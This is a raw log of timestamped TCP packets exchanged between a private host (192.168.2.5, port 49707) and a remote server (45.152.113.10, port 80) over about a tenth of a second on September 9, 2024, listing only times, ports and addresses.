Sep 9, 2024 18:45:05.426963091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426971912 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.426980019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.426981926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427001953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427015066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427076101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427223921 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427241087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427258015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427265882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427268982 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427282095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427289009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427305937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427318096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427421093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427437067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427453041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427476883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427480936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427494049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427508116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427534103 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427548885 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427550077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427568913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427572012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427589893 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427604914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427678108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427695036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427711010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427726984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427735090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427747965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427768946 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427824974 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427853107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427862883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427867889 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427879095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427891970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.427895069 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427911043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.427925110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428000927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428018093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428035021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428041935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428056955 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428071976 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428194046 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428211927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428227901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428246021 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428256035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428272009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428287983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428324938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428342104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428358078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428368092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428386927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428397894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428466082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428477049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428488970 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428509951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428530931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428601980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428620100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428636074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428642988 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428653955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428657055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428669930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428673983 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428693056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428716898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428723097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428740978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428761959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428931952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428947926 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428962946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.428985119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.428997993 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429090023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429106951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429125071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429131985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429142952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429151058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429162979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429163933 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429181099 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429183006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429195881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429198027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429215908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429215908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429229975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429234028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429250002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429251909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429267883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429269075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429290056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429302931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429536104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429553986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429570913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429578066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429599047 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429613113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429701090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429718018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429733038 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429743052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429749966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429761887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429773092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429775953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429792881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429799080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429815054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429836035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429836988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429855108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429871082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429888010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429893017 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429905891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429910898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429924965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429927111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429943085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429944992 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429960966 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.429965019 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.429979086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430005074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430020094 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430020094 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430037022 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430053949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430071115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430075884 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430088997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430094957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430110931 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430125952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430135012 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430150986 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430166960 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430174112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430186033 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430191040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430203915 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430208921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430222034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430223942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430239916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430241108 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430258036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430262089 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430274010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430274963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.430294991 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.430313110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.518874884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519023895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519038916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519054890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519072056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519087076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519095898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519143105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519143105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519169092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519185066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519201040 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519207954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519224882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519239902 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519301891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519316912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519340038 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519355059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519478083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519494057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519510031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519526958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519567013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519567013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519567013 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519623041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519639969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519655943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519671917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519680023 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519689083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519705057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519712925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519731998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519788980 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519805908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519821882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519835949 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519838095 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519856930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519875050 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519925117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519941092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519954920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.519961119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519979000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.519996881 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520112991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520128965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520154953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520158052 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520170927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520178080 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520194054 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520205975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520209074 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520219088 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520226002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520236969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520247936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520267010 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520319939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520334959 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520349979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520371914 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520395041 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520486116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520500898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520517111 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520531893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520538092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520592928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520592928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520672083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520688057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520704031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520710945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520720005 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520724058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520735979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520741940 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520750999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520775080 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520807028 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520823002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.520844936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520855904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.520987988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521003008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521018982 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521030903 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521035910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521043062 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521053076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521060944 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521078110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521090984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521121979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521136999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521152973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521174908 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521193027 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521254063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521270037 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521285057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521300077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521303892 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521322012 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521334887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521430969 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521610975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521625996 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521641016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521656990 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521656990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521671057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521675110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521688938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521692991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521697998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521708965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521717072 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521727085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521738052 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521752119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521755934 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521775007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521786928 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521941900 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521966934 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521981001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.521991014 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.521998882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522002935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522017002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522022009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522033930 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522034883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522053957 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522068977 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522073984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522090912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522105932 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522113085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522125006 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522128105 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522141933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522147894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522160053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522160053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522181034 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522198915 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522214890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522232056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522247076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522258997 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522263050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:05.522275925 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522288084 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522300959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:05.522634029 CEST	80	49707	45.152.113.10	192.168.2.5
